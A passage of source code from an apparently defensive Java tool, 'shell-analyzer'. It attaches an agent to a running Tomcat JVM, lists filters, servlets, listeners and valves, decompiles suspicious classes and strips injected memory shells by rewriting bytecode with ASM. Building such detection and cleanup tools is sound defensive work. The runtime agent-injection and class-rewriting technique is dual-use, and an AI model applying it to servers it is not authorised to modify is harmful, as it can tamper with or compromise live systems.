12 |
13 | public class FilterKill implements ClassFileTransformer {
14 | private final String className;
15 |
16 | public FilterKill(String className) {
17 | this.className = className;
18 | }
19 |
20 | @Override
21 | public byte[] transform(ClassLoader loader,
22 | String className, Class> clsMemShell,
23 | ProtectionDomain protectionDomain,
24 | byte[] classfileBuffer) {
25 | try {
26 | className = className.replace("/", ".");
27 | if (className.equals(this.className)) {
28 | ClassReader cr = new ClassReader(classfileBuffer);
29 | ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
30 | int api = Opcodes.ASM9;
31 | ClassVisitor cv = new FilterKillClassVisitor(api, cw);
32 | int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;
33 | cr.accept(cv, parsingOptions);
34 | return cw.toByteArray();
35 | }
36 | } catch (Exception ex) {
37 | ex.printStackTrace();
38 | }
39 | return new byte[0];
40 | }
41 | }
42 |
--------------------------------------------------------------------------------
/agent/src/main/java/com/n1ar4/agent/transform/ListenerKill.java:
--------------------------------------------------------------------------------
1 | package com.n1ar4.agent.transform;
2 |
3 | import com.n1ar4.agent.asm.ListenerKillClassVisitor;
4 | import org.objectweb.asm.ClassReader;
5 | import org.objectweb.asm.ClassVisitor;
6 | import org.objectweb.asm.ClassWriter;
7 | import org.objectweb.asm.Opcodes;
8 |
9 | import java.lang.instrument.ClassFileTransformer;
10 | import java.security.ProtectionDomain;
11 |
12 | public class ListenerKill implements ClassFileTransformer {
13 | private final String className;
14 |
15 | public ListenerKill(String className) {
16 | this.className = className;
17 | }
18 |
19 | @Override
20 | public byte[] transform(ClassLoader loader,
21 | String className, Class> clsMemShell,
22 | ProtectionDomain protectionDomain,
23 | byte[] classfileBuffer) {
24 | try {
25 | className = className.replace("/", ".");
26 | if (className.equals(this.className)) {
27 | ClassReader cr = new ClassReader(classfileBuffer);
28 | ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
29 | int api = Opcodes.ASM9;
30 | ClassVisitor cv = new ListenerKillClassVisitor(api, cw);
31 | int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;
32 | cr.accept(cv, parsingOptions);
33 | return cw.toByteArray();
34 | }
35 | } catch (Exception ex) {
36 | ex.printStackTrace();
37 | }
38 | return new byte[0];
39 | }
40 | }
41 |
--------------------------------------------------------------------------------
/agent/src/main/java/com/n1ar4/agent/transform/ServletKill.java:
--------------------------------------------------------------------------------
1 | package com.n1ar4.agent.transform;
2 |
3 | import com.n1ar4.agent.asm.ServletKillClassVisitor;
4 | import org.objectweb.asm.ClassReader;
5 | import org.objectweb.asm.ClassVisitor;
6 | import org.objectweb.asm.ClassWriter;
7 | import org.objectweb.asm.Opcodes;
8 |
9 | import java.lang.instrument.ClassFileTransformer;
10 | import java.security.ProtectionDomain;
11 |
12 | public class ServletKill implements ClassFileTransformer {
13 | private final String className;
14 |
15 | public ServletKill(String className) {
16 | this.className = className;
17 | }
18 |
19 | @Override
20 | public byte[] transform(ClassLoader loader,
21 | String className, Class> clsMemShell,
22 | ProtectionDomain protectionDomain,
23 | byte[] classfileBuffer) {
24 | try {
25 | className = className.replace("/", ".");
26 | if (className.equals(this.className)) {
27 | ClassReader cr = new ClassReader(classfileBuffer);
28 | ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
29 | int api = Opcodes.ASM9;
30 | ClassVisitor cv = new ServletKillClassVisitor(api, cw);
31 | int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;
32 | cr.accept(cv, parsingOptions);
33 | return cw.toByteArray();
34 | }
35 | } catch (Exception ex) {
36 | ex.printStackTrace();
37 | }
38 | return new byte[0];
39 | }
40 | }
41 |
--------------------------------------------------------------------------------
/agent/src/main/java/com/n1ar4/agent/transform/ValveKill.java:
--------------------------------------------------------------------------------
1 | package com.n1ar4.agent.transform;
2 |
3 | import com.n1ar4.agent.asm.ValveKillClassVisitor;
4 | import org.objectweb.asm.ClassReader;
5 | import org.objectweb.asm.ClassVisitor;
6 | import org.objectweb.asm.ClassWriter;
7 | import org.objectweb.asm.Opcodes;
8 |
9 | import java.lang.instrument.ClassFileTransformer;
10 | import java.security.ProtectionDomain;
11 |
12 | public class ValveKill implements ClassFileTransformer {
13 | private final String className;
14 |
15 | public ValveKill(String className) {
16 | this.className = className;
17 | }
18 |
19 | @Override
20 | public byte[] transform(ClassLoader loader,
21 | String className, Class> clsMemShell,
22 | ProtectionDomain protectionDomain,
23 | byte[] classfileBuffer) {
24 | try {
25 | className = className.replace("/", ".");
26 | if (className.equals(this.className)) {
27 | ClassReader cr = new ClassReader(classfileBuffer);
28 | ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
29 | int api = Opcodes.ASM9;
30 | ClassVisitor cv = new ValveKillClassVisitor(api, cw);
31 | int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;
32 | cr.accept(cv, parsingOptions);
33 | return cw.toByteArray();
34 | }
35 | } catch (Exception ex) {
36 | ex.printStackTrace();
37 | }
38 | return new byte[0];
39 | }
40 | }
41 |
--------------------------------------------------------------------------------
/agent/src/main/java/com/n1ar4/agent/util/FilterObjectInputStream.java:
--------------------------------------------------------------------------------
1 | package com.n1ar4.agent.util;
2 |
3 | import java.io.IOException;
4 | import java.io.InputStream;
5 | import java.io.ObjectInputStream;
6 | import java.io.ObjectStreamClass;
7 |
8 | public class FilterObjectInputStream extends ObjectInputStream {
9 | public FilterObjectInputStream(InputStream in) throws IOException {
10 | super(in);
11 | }
12 |
13 | @Override
14 | protected Class> resolveClass(final ObjectStreamClass classDesc) throws IOException, ClassNotFoundException {
15 | if (classDesc.getName().equals("[Ljava.lang.String;") ||
16 | classDesc.getName().equals("java.lang.String")) {
17 | return super.resolveClass(classDesc);
18 | }
19 | throw new RuntimeException(String.format("not support class: %s", classDesc.getName()));
20 | }
21 | }
22 |
--------------------------------------------------------------------------------
/gui/lib/README.md:
--------------------------------------------------------------------------------
1 | ## JSyntaxPane
2 |
3 | JSyntaxPane Source Code: https://code.google.com/archive/p/jsyntaxpane/
4 |
5 | This is not a standard JSyntaxPane lib, but a special customized version which was built myself.
--------------------------------------------------------------------------------
/gui/lib/syntax-panel.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/4ra1n/shell-analyzer/9f00400ca9635f7e189f5b9da23e713b9ebb4a35/gui/lib/syntax-panel.jar
--------------------------------------------------------------------------------
/gui/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 |
6 | shell-analyzer
7 | com.n1ar4
8 | 0.1
9 |
10 | 4.0.0
11 |
12 | jar
13 | gui
14 |
15 |
16 | 8
17 | 8
18 | UTF-8
19 |
20 |
21 |
22 |
23 | my-local-lib
24 | my-local-lib
25 | file://${basedir}/lib
26 |
27 |
28 | quiltm
29 | quiltm
30 | https://maven.quiltmc.org/repository/release
31 |
32 |
33 |
34 |
35 |
36 | org.ow2.asm
37 | asm
38 | 9.4
39 |
40 |
41 | org.ow2.asm
42 | asm-util
43 | 9.4
44 |
45 |
46 | com.formdev
47 | flatlaf
48 | 3.0
49 |
50 |
51 | com.intellij
52 | forms_rt
53 | 7.0.3
54 |
55 |
56 | log4j
57 | log4j
58 | 1.2.17
59 |
60 |
61 | org.quiltmc
62 | quiltflower
63 | 1.8.1
64 |
65 |
66 | lib
67 | jsyntaxpane
68 | 1.0.0
69 |
70 |
71 | jdk
72 | tools
73 | 1.0.0
74 | system
75 | ${java.home}/../lib/tools.jar
76 |
77 |
78 |
79 |
80 |
81 |
82 | org.apache.maven.plugins
83 | maven-install-plugin
84 | 3.1.0
85 |
86 |
87 | syntax
88 | initialize
89 |
90 | install-file
91 |
92 |
93 | lib/syntax-panel.jar
94 | lib
95 | jsyntaxpane
96 | 1.0.0
97 | jar
98 |
99 |
100 |
101 |
102 |
103 | maven-assembly-plugin
104 |
105 | ../
106 | false
107 |
108 | jar-with-dependencies
109 |
110 |
111 |
112 | com.n1ar4.Application
113 |
114 |
115 |
116 |
117 |
118 | make-assembly
119 | package
120 |
121 | single
122 |
123 |
124 |
125 |
126 |
127 | org.apache.maven.plugins
128 | maven-compiler-plugin
129 | 3.10.1
130 |
131 | ${maven.compiler.source}
132 | ${maven.compiler.target}
133 |
134 |
135 |
136 |
137 |
--------------------------------------------------------------------------------
/gui/src/main/java/com/n1ar4/Application.java:
--------------------------------------------------------------------------------
1 | package com.n1ar4;
2 |
3 | import com.n1ar4.form.ShellForm;
4 |
5 | import javax.swing.*;
6 | import javax.tools.JavaCompiler;
7 | import javax.tools.ToolProvider;
8 | import java.io.File;
9 | import java.io.PrintStream;
10 | import java.nio.file.Files;
11 | import java.nio.file.Path;
12 | import java.nio.file.Paths;
13 |
14 | public class Application {
15 | public static void main(String[] args) {
16 | checkJDK();
17 | Path outLogPath = new File("shell-analyzer-out.log").toPath();
18 | Path errLogPath = new File("shell-analyzer-err.log").toPath();
19 | try {
20 | System.setOut(new PrintStream(Files.newOutputStream(outLogPath)));
21 | System.setErr(new PrintStream(Files.newOutputStream(errLogPath)));
22 | Runtime.getRuntime().addShutdownHook(new Thread(() -> {
23 | try {
24 | Files.delete(outLogPath);
25 | } catch (Exception ignored) {
26 | }
27 | try {
28 | Files.delete(errLogPath);
29 | } catch (Exception ignored) {
30 | }
31 | try {
32 | Files.delete(Paths.get("test.class"));
33 | } catch (Exception ignored) {
34 | }
35 | }));
36 | } catch (Exception ex) {
37 | ex.printStackTrace();
38 | }
39 | ShellForm.start0();
40 | }
41 |
42 | public static void checkJDK() {
43 | JavaCompiler c = ToolProvider.getSystemJavaCompiler();
44 | if (c == null) {
45 | JOptionPane.showMessageDialog(null, "请使用JDK启动(目前是JRE)");
46 | System.exit(0);
47 | }
48 | }
49 | }
50 |
--------------------------------------------------------------------------------
/gui/src/main/java/com/n1ar4/cmd/SocketTest.java:
--------------------------------------------------------------------------------
1 | package com.n1ar4.cmd;
2 |
3 | import java.io.ByteArrayOutputStream;
4 | import java.io.ObjectInputStream;
5 | import java.io.ObjectOutputStream;
6 | import java.net.Socket;
7 | import java.nio.file.Files;
8 | import java.nio.file.Paths;
9 | import java.util.ArrayList;
10 |
11 | @SuppressWarnings("all")
12 | public class SocketTest {
13 |
14 | public static void main(String args[]) throws Exception {
15 | // getAllClasses();
16 | // getAllFilters();
17 | // getAllServlets();
18 | // getAllValves();
19 | // getAllListeners();
20 | getBytecode();
21 | }
22 |
23 | public static void getBytecode() throws Exception {
24 | String host = "127.0.0.1";
25 | int port = 10032;
26 | Socket client = new Socket(host, port);
27 | ByteArrayOutputStream bao = new ByteArrayOutputStream();
28 | ObjectOutputStream oos = new ObjectOutputStream(bao);
29 | oos.writeObject("Tomcat");
30 | client.getOutputStream().write(bao.toByteArray());
31 | ObjectInputStream ois = new ObjectInputStream(client.getInputStream());
32 | byte[] data = (byte[]) ois.readObject();
33 | Files.write(Paths.get("test.class"), data);
34 | }
35 |
36 | public static void getAllClasses() throws Exception {
37 | String host = "127.0.0.1";
38 | int port = 10032;
39 | Socket client = new Socket(host, port);
40 | ByteArrayOutputStream bao = new ByteArrayOutputStream();
41 | ObjectOutputStream oos = new ObjectOutputStream(bao);
42 | oos.writeObject("");
43 | client.getOutputStream().write(bao.toByteArray());
44 |
45 | ObjectInputStream ois = new ObjectInputStream(client.getInputStream());
46 | ArrayList arrayList = (ArrayList) ois.readObject();
47 | for (String s : arrayList) {
48 | System.out.println(s);
49 | }
50 | }
51 |
52 | public static void getAllServlets() throws Exception {
53 | String host = "127.0.0.1";
54 | int port = 10032;
55 | Socket client = new Socket(host, port);
56 | ByteArrayOutputStream bao = new ByteArrayOutputStream();
57 | ObjectOutputStream oos = new ObjectOutputStream(bao);
58 | oos.writeObject("");
59 | client.getOutputStream().write(bao.toByteArray());
60 |
61 | ObjectInputStream ois = new ObjectInputStream(client.getInputStream());
62 | ArrayList arrayList = (ArrayList) ois.readObject();
63 | for (String s : arrayList) {
64 | System.out.println(s);
65 | }
66 | }
67 |
68 | public static void getAllFilters() throws Exception {
69 | String host = "127.0.0.1";
70 | int port = 10032;
71 | Socket client = new Socket(host, port);
72 | ByteArrayOutputStream bao = new ByteArrayOutputStream();
73 | ObjectOutputStream oos = new ObjectOutputStream(bao);
74 | oos.writeObject("");
75 | client.getOutputStream().write(bao.toByteArray());
76 |
77 | ObjectInputStream ois = new ObjectInputStream(client.getInputStream());
78 | ArrayList arrayList = (ArrayList) ois.readObject();
79 | for (String s : arrayList) {
80 | System.out.println(s);
81 | }
82 | }
83 |
84 | public static void getAllListeners() throws Exception {
85 | String host = "127.0.0.1";
86 | int port = 10032;
87 | Socket client = new Socket(host, port);
88 | ByteArrayOutputStream bao = new ByteArrayOutputStream();
89 | ObjectOutputStream oos = new ObjectOutputStream(bao);
90 | oos.writeObject("");
91 | client.getOutputStream().write(bao.toByteArray());
92 |
93 | ObjectInputStream ois = new ObjectInputStream(client.getInputStream());
94 | ArrayList arrayList = (ArrayList) ois.readObject();
95 | for (String s : arrayList) {
96 | System.out.println(s);
97 | }
98 | }
99 |
100 | public static void getAllValves() throws Exception {
101 | String host = "127.0.0.1";
102 | int port = 10032;
103 | Socket client = new Socket(host, port);
104 | ByteArrayOutputStream bao = new ByteArrayOutputStream();
105 | ObjectOutputStream oos = new ObjectOutputStream(bao);
106 | oos.writeObject("");
107 | client.getOutputStream().write(bao.toByteArray());
108 |
109 | ObjectInputStream ois = new ObjectInputStream(client.getInputStream());
110 | ArrayList arrayList = (ArrayList) ois.readObject();
111 | for (String s : arrayList) {
112 | System.out.println(s);
113 | }
114 | }
115 | }
--------------------------------------------------------------------------------
/gui/src/main/java/com/n1ar4/cmd/Test.java:
--------------------------------------------------------------------------------
1 | package com.n1ar4.cmd;
2 |
3 | import com.sun.tools.attach.VirtualMachine;
4 | import com.sun.tools.attach.VirtualMachineDescriptor;
5 |
6 | import java.util.List;
7 |
8 | public class Test {
9 | public static void main(String[] args) throws Exception{
10 | String path = "D:\\JavaCode\\shell-analyzer\\agent\\target\\RepairAgent-jar-with-dependencies.jar";
11 | List list = VirtualMachine.list();
12 | for (VirtualMachineDescriptor v:list){
13 | if(v.displayName().contains("org.apache.catalina.startup.Bootstrap")){
14 | System.out.println(v.displayName());
15 | VirtualMachine vm = VirtualMachine.attach(v.id());
16 | // 将我们的 agent.jar 发送给虚拟机
17 | vm.loadAgent(path);
18 | vm.detach();
19 | }
20 | }
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/gui/src/main/java/com/n1ar4/form/ShellForm.form:
--------------------------------------------------------------------------------
1 |
2 |
448 |
--------------------------------------------------------------------------------
/gui/src/main/java/com/n1ar4/form/ShellForm.java:
--------------------------------------------------------------------------------
1 | package com.n1ar4.form;
2 |
3 | import com.n1ar4.model.ClassObj;
4 | import com.n1ar4.model.ProcessObj;
5 | import com.n1ar4.start.SocketHelper;
6 | import com.formdev.flatlaf.FlatDarkLaf;
7 | import com.intellij.uiDesigner.core.GridConstraints;
8 | import com.intellij.uiDesigner.core.GridLayoutManager;
9 | import com.sun.tools.attach.VirtualMachine;
10 | import com.sun.tools.attach.VirtualMachineDescriptor;
11 | import jsyntaxpane.syntaxkits.JavaSyntaxKit;
12 | import org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler;
13 |
14 | import javax.swing.*;
15 | import javax.swing.border.TitledBorder;
16 | import javax.swing.plaf.FontUIResource;
17 | import javax.swing.table.DefaultTableModel;
18 | import javax.swing.text.StyleContext;
19 | import java.awt.*;
20 | import java.awt.event.MouseAdapter;
21 | import java.awt.event.MouseEvent;
22 | import java.io.IOException;
23 | import java.nio.file.Files;
24 | import java.nio.file.Path;
25 | import java.nio.file.Paths;
26 | import java.util.ArrayList;
27 | import java.util.List;
28 | import java.util.Locale;
29 | import java.util.Random;
30 | import java.util.regex.Matcher;
31 | import java.util.regex.Pattern;
32 |
33 | public class ShellForm {
34 | class CommonMouse extends MouseAdapter {
35 | public void mouseClicked(MouseEvent evt) {
36 | JList> list = (JList>) evt.getSource();
37 | if (evt.getClickCount() == 2) {
38 | core(evt, list);
39 | }
40 | }
41 | }
42 |
43 | public static ShellForm instance;
44 | private JPanel shellPanel;
45 | private JPanel rootPanel;
46 | private JPanel topPanel;
47 | private JButton runningButton;
48 | private JTextField pidText;
49 | private JButton attachButton;
50 | private JList filterList;
51 | private JList listenerList;
52 | private JTabbedPane tabbedPane;
53 | private JPanel normalPanel;
54 | private JEditorPane editorPanel;
55 | private JCheckBox ignoreApacheBox;
56 | private JTextArea blackArea;
57 | private JCheckBox ignoreJavaBox;
58 | private JButton analyzeButton;
59 | private JScrollPane processScroll;
60 | private JLabel pidLabel;
61 | private JPanel filtersPane;
62 | private JPanel servletsPane;
63 | private JPanel listenerPane;
64 | private JPanel valvePane;
65 | private JPanel confPane;
66 | private JPanel confPanel;
67 | private JPanel blackPanel;
68 | private JScrollPane blackScroll;
69 | private JPanel analyzePanel;
70 | private JPanel checkPanel;
71 | private JPanel codePanel;
72 | private JScrollPane codeScroll;
73 | private JPanel logPanel;
74 | private JScrollPane logScroll;
75 | private JTextArea logArea;
76 | private JScrollPane filterScroll;
77 | private JScrollPane servletScroll;
78 | private JList servletList;
79 | private JScrollPane listenerScroll;
80 | private JScrollPane valveScroll;
81 | private JList valveList;
82 | private JTable processTable;
83 | private JCheckBox ignoreSpringBox;
84 | private JLabel blackTip;
85 | private JButton killButton;
86 | private JTextField killText;
87 | private JButton refreshButton;
88 | private JPanel sshPanel;
89 | private JTextField ipText;
90 | private JLabel ipLabel;
91 | private JTextField passText;
92 | private JLabel passLabel;
93 | private JButton genButton;
94 | private static final List black = new ArrayList<>();
95 | private static final String[] columns = new String[]{"PID", "Name"};
96 | private static String[][] rows = new String[0][0];
97 | private static final List coList = new ArrayList<>();
98 |
99 | private static DefaultTableModel model = new DefaultTableModel(rows, columns) {
100 | public boolean isCellEditable(int row, int column) {
101 | return false;
102 | }
103 | };
104 |
105 | private void analyze() {
106 | String host;
107 | if (ipText.getText().equals("")) {
108 | host = "127.0.0.1";
109 | } else {
110 | host = ipText.getText();
111 | String pattern = "((2(5[0-5]|[0-4]\\d))|[0-1]?\\d{1,2})(\\.((2(5[0-5]|[0-4]\\d))|[0-1]?\\d{1,2})){3}";
112 | Pattern r = Pattern.compile(pattern);
113 | Matcher m = r.matcher(host);
114 | if (!m.matches()) {
115 | JOptionPane.showMessageDialog(shellPanel, "你输入的不是正确的IP地址");
116 | return;
117 | }
118 | }
119 |
120 | String pass = passText.getText();
121 | if (pass.length() != 8) {
122 | JOptionPane.showMessageDialog(shellPanel, "请输入密码");
123 | }
124 |
125 | SocketHelper.setHost(host);
126 | SocketHelper.setPass(pass);
127 |
128 | DefaultListModel filtersModel = new DefaultListModel<>();
129 | DefaultListModel listenersModel = new DefaultListModel<>();
130 | DefaultListModel servletsModel = new DefaultListModel<>();
131 | DefaultListModel valvesModel = new DefaultListModel<>();
132 |
133 | boolean igApache = ignoreApacheBox.isSelected();
134 | boolean igJava = ignoreJavaBox.isSelected();
135 | boolean igSpring = ignoreSpringBox.isSelected();
136 |
137 | String b = blackArea.getText();
138 |
139 | String[] t = b.split("\n");
140 | for (String s : t) {
141 | s = s.trim();
142 | if (s.endsWith("\r")) {
143 | s = s.substring(0, s.length() - 1);
144 | }
145 | black.add(s);
146 | }
147 |
148 | try {
149 | List filters = SocketHelper.getAllFilters();
150 | for (String filter : filters) {
151 | if (igApache && filter.startsWith("org.apache")) {
152 | continue;
153 | }
154 | if (igSpring && filter.startsWith("org.springframework")) {
155 | continue;
156 | }
157 | if (igJava) {
158 | if (filter.startsWith("java.")) {
159 | continue;
160 | }
161 | if (filter.startsWith("javax.")) {
162 | continue;
163 | }
164 | if (filter.startsWith("sun.")) {
165 | continue;
166 | }
167 | }
168 | boolean blackF = false;
169 | for (String s : black) {
170 | if (filter.contains(s)) {
171 | blackF = true;
172 | break;
173 | }
174 | }
175 | if (!blackF) {
176 | continue;
177 | }
178 | ClassObj co = new ClassObj(filter, "FILTER");
179 | filtersModel.addElement(co);
180 | coList.add(co);
181 | }
182 | filterList.setModel(filtersModel);
183 | } catch (Exception ex) {
184 | log("无法获得信息");
185 | }
186 |
187 | try {
188 | List servlets = SocketHelper.getAllServlets();
189 | for (String servlet : servlets) {
190 | if (igApache && servlet.startsWith("org.apache")) {
191 | continue;
192 | }
193 | if (igSpring && servlet.startsWith("org.springframework")) {
194 | continue;
195 | }
196 | if (igJava) {
197 | if (servlet.startsWith("java.")) {
198 | continue;
199 | }
200 | if (servlet.startsWith("javax.")) {
201 | continue;
202 | }
203 | if (servlet.startsWith("sun.")) {
204 | continue;
205 | }
206 | }
207 | boolean blackF = false;
208 | for (String s : black) {
209 | if (servlet.contains(s)) {
210 | blackF = true;
211 | break;
212 | }
213 | }
214 | if (!blackF) {
215 | continue;
216 | }
217 | ClassObj co = new ClassObj(servlet, "SERVLET");
218 | servletsModel.addElement(co);
219 | coList.add(co);
220 | }
221 | servletList.setModel(servletsModel);
222 | } catch (Exception ex) {
223 | log("无法获得信息");
224 | }
225 |
226 | try {
227 | List listeners = SocketHelper.getAllListeners();
228 | for (String li : listeners) {
229 | if (igApache && li.startsWith("org.apache")) {
230 | continue;
231 | }
232 | if (igSpring && li.startsWith("org.springframework")) {
233 | continue;
234 | }
235 | if (igJava) {
236 | if (li.startsWith("java.")) {
237 | continue;
238 | }
239 | if (li.startsWith("javax.")) {
240 | continue;
241 | }
242 | if (li.startsWith("sun.")) {
243 | continue;
244 | }
245 | }
246 | boolean blackF = false;
247 | for (String s : black) {
248 | if (li.contains(s)) {
249 | blackF = true;
250 | break;
251 | }
252 | }
253 | if (!blackF) {
254 | continue;
255 | }
256 | ClassObj co = new ClassObj(li, "LISTENER");
257 | listenersModel.addElement(co);
258 | coList.add(co);
259 | }
260 | listenerList.setModel(listenersModel);
261 | } catch (Exception ex) {
262 | log("无法获得信息");
263 | }
264 |
265 | try {
266 | List valves = SocketHelper.getAllValves();
267 | for (String v : valves) {
268 | if (igApache && v.startsWith("org.apache")) {
269 | continue;
270 | }
271 | if (igSpring && v.startsWith("org.springframework")) {
272 | continue;
273 | }
274 | if (igJava) {
275 | if (v.startsWith("java.")) {
276 | continue;
277 | }
278 | if (v.startsWith("javax.")) {
279 | continue;
280 | }
281 | if (v.startsWith("sun.")) {
282 | continue;
283 | }
284 | }
285 | boolean blackF = false;
286 | for (String s : black) {
287 | if (v.contains(s)) {
288 | blackF = true;
289 | break;
290 | }
291 | }
292 | if (!blackF) {
293 | continue;
294 | }
295 | ClassObj co = new ClassObj(v, "VALVE");
296 | valvesModel.addElement(co);
297 | coList.add(co);
298 | }
299 | valveList.setModel(valvesModel);
300 | } catch (Exception ex) {
301 | log("无法获得信息");
302 | }
303 | }
304 |
305 | @SuppressWarnings("all")
306 | public ShellForm() {
307 | editorPanel.setEditorKit(new JavaSyntaxKit());
308 | processTable.setModel(model);
309 | processTable.getColumnModel().getColumn(0).setMaxWidth(100);
310 |
311 | genButton.addActionListener(e -> {
312 | int length = 8;
313 | String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
314 | Random random = new Random();
315 | random.setSeed(System.currentTimeMillis());
316 | StringBuffer sb = new StringBuffer();
317 | for (int i = 0; i < length; i++) {
318 | int number = random.nextInt(62);
319 | sb.append(str.charAt(number));
320 | }
321 | passText.setText(sb.toString());
322 | });
323 |
324 | this.processTable.addMouseListener(new MouseAdapter() {
325 | @Override
326 | public void mouseClicked(MouseEvent evt) {
327 | int row = processTable.rowAtPoint(evt.getPoint());
328 | if (row >= 0) {
329 | String pid = rows[row][0];
330 | pidText.setText(pid);
331 | }
332 | }
333 | });
334 |
335 | runningButton.addActionListener(e -> {
336 | List> dataList = new ArrayList<>();
337 | List list = VirtualMachine.list();
338 | for (VirtualMachineDescriptor v : list) {
339 | ProcessObj p = new ProcessObj();
340 | p.setId(v.id());
341 |
342 | String t = v.displayName();
343 | if (t == null || t.equals("")) {
344 | continue;
345 | }
346 |
347 | if (!t.toLowerCase().endsWith(".jar")) {
348 | String[] s = t.split("\\.");
349 | t = s[s.length - 1];
350 |
351 | if (t.contains("/")) {
352 | s = t.split("/");
353 | t = s[s.length - 1];
354 | }
355 | }
356 |
357 | p.setName(t);
358 | List temp = new ArrayList<>();
359 | temp.add(p.getId());
360 | temp.add(p.getName());
361 | dataList.add(temp);
362 | }
363 | String[][] z = new String[dataList.size()][];
364 | for (int i = 0; i < dataList.size(); i++) {
365 | String[] a = dataList.get(i).toArray(new String[0]);
366 | z[i] = a;
367 | }
368 |
369 | log("当前运行的Java进程数量: " + z.length);
370 |
371 | rows = z;
372 | model = new DefaultTableModel(rows, columns) {
373 | public boolean isCellEditable(int row, int column) {
374 | return false;
375 | }
376 | };
377 | processTable.setModel(model);
378 | processTable.getColumnModel().getColumn(0).setMaxWidth(100);
379 | });
380 | attachButton.addActionListener(e -> {
381 | String pid = pidText.getText();
382 | String pass = passText.getText();
383 | if (pass.length() != 8) {
384 | JOptionPane.showMessageDialog(shellPanel, "请输入长度为8的密码");
385 | return;
386 | }
387 | SocketHelper.setPass(pass);
388 | log("开始Attach到目标: " + pid);
389 | try {
390 | VirtualMachine vm = VirtualMachine.attach(pid);
391 | log("正在加载Agent程序...");
392 |
393 | Path agentPath = Paths.get("agent.jar");
394 | Path agentDepPath = Paths.get("agent-jar-with-dependencies.jar");
395 |
396 | String path;
397 | if (Files.exists(agentPath)) {
398 | path = agentPath.toAbsolutePath().toString();
399 | } else if (Files.exists(agentDepPath)) {
400 | path = agentDepPath.toAbsolutePath().toString();
401 | } else {
402 | log("请检查当前目录的agent文件");
403 | return;
404 | }
405 | log("加载Agent: " + path);
406 | vm.loadAgent(path, pass);
407 | vm.detach();
408 | log("加载Agent程序完成");
409 |
410 | if (SocketHelper.check()) {
411 | log("成功目标建立TCP连接");
412 | } else {
413 | log("无法与目标建立TCP连接");
414 | }
415 |
416 | } catch (Exception ignored) {
417 | new Thread(this::analyze).start();
418 | }
419 | });
420 | filterList.addMouseListener(new CommonMouse());
421 | valveList.addMouseListener(new CommonMouse());
422 | listenerList.addMouseListener(new CommonMouse());
423 | servletList.addMouseListener(new CommonMouse());
424 | analyzeButton.addActionListener(e -> new Thread(this::analyze).start());
425 | killButton.addActionListener(e -> {
426 | String kill = killText.getText();
427 |
428 | ClassObj co = null;
429 | for (ClassObj o : coList) {
430 | if (o.getClassName().equals(kill)) {
431 | co = o;
432 | }
433 | }
434 |
435 | if (co == null) {
436 | JOptionPane.showMessageDialog(shellPanel, "不存在该类");
437 | return;
438 | }
439 |
440 | ClassObj finalCo = co;
441 |
442 | if (kill.startsWith("org.springframework")) {
443 | int i = JOptionPane.showConfirmDialog(shellPanel, "确定要修改Spring的类?");
444 | if (i != 0) {
445 | return;
446 | }
447 | }
448 | if (kill.startsWith("org.apache")) {
449 | int i = JOptionPane.showConfirmDialog(shellPanel, "确定要修改Apache的类?");
450 | if (i != 0) {
451 | return;
452 | }
453 | }
454 | if (kill.startsWith("java.") || kill.startsWith("javax.") ||
455 | kill.startsWith("sun.") || kill.startsWith("com.sun.")) {
456 | int i = JOptionPane.showConfirmDialog(shellPanel, "确定要修改JDK的类?");
457 | if (i != 0) {
458 | return;
459 | }
460 | }
461 |
462 | new Thread(() -> {
463 | try {
464 | if (finalCo.getType().equals("FILTER")) {
465 | SocketHelper.killFilter(kill);
466 | }
467 | if (finalCo.getType().equals("SERVLET")) {
468 | SocketHelper.killServlet(kill);
469 | }
470 | if (finalCo.getType().equals("LISTENER")) {
471 | SocketHelper.killListener(kill);
472 | }
473 | if (finalCo.getType().equals("VALVE")) {
474 | SocketHelper.killValve(kill);
475 | }
476 | log("已删除内存马: " + kill);
477 | } catch (Exception ex) {
478 | ex.printStackTrace();
479 | log("无法删除内存马");
480 | }
481 | }).start();
482 | });
483 | refreshButton.addActionListener(e -> {
484 | String pid = pidText.getText();
485 | String pass = passText.getText();
486 | if (pass.length() != 8) {
487 | JOptionPane.showMessageDialog(shellPanel, "请输入长度为8的密码");
488 | return;
489 | }
490 | SocketHelper.setPass(pass);
491 | try {
492 | VirtualMachine vm = VirtualMachine.attach(pid);
493 | Path agentPath = Paths.get("agent.jar");
494 | Path agentDepPath = Paths.get("agent-jar-with-dependencies.jar");
495 |
496 | String path;
497 | if (Files.exists(agentPath)) {
498 | path = agentPath.toAbsolutePath().toString();
499 | } else if (Files.exists(agentDepPath)) {
500 | path = agentDepPath.toAbsolutePath().toString();
501 | } else {
502 | log("请检查当前目录的agent文件");
503 | return;
504 | }
505 | vm.loadAgent(path, pass);
506 | vm.detach();
507 | new Thread(this::analyze).start();
508 | log("已刷新");
509 | } catch (Exception ignored) {
510 | new Thread(this::analyze).start();
511 | }
512 | });
513 | }
514 |
515 | public void core(MouseEvent evt, JList> list) {
516 |
517 | String pass = passText.getText();
518 | if (pass.length() != 8) {
519 | JOptionPane.showMessageDialog(shellPanel, "请输入密码");
520 | }
521 | SocketHelper.setPass(pass);
522 |
523 | int index = list.locationToIndex(evt.getPoint());
524 | ClassObj res = (ClassObj) list.getModel().getElementAt(index);
525 |
526 | log("尝试获取字节码进行反编译");
527 |
528 | new Thread(() -> {
529 | try {
530 | SocketHelper.getBytecode(res.getClassName());
531 | } catch (Exception ex) {
532 | ex.printStackTrace();
533 | log("无法连接目标");
534 | }
535 | String classPath = "test.class";
536 | String javaDir = ".";
537 | Path javaPathPath = Paths.get("test.java");
538 | if (!Files.exists(Paths.get(classPath))) {
539 | log("未知的错误");
540 | return;
541 | }
542 | try {
543 | Files.delete(javaPathPath);
544 | } catch (Exception ignored) {
545 | }
546 | String tips = "error";
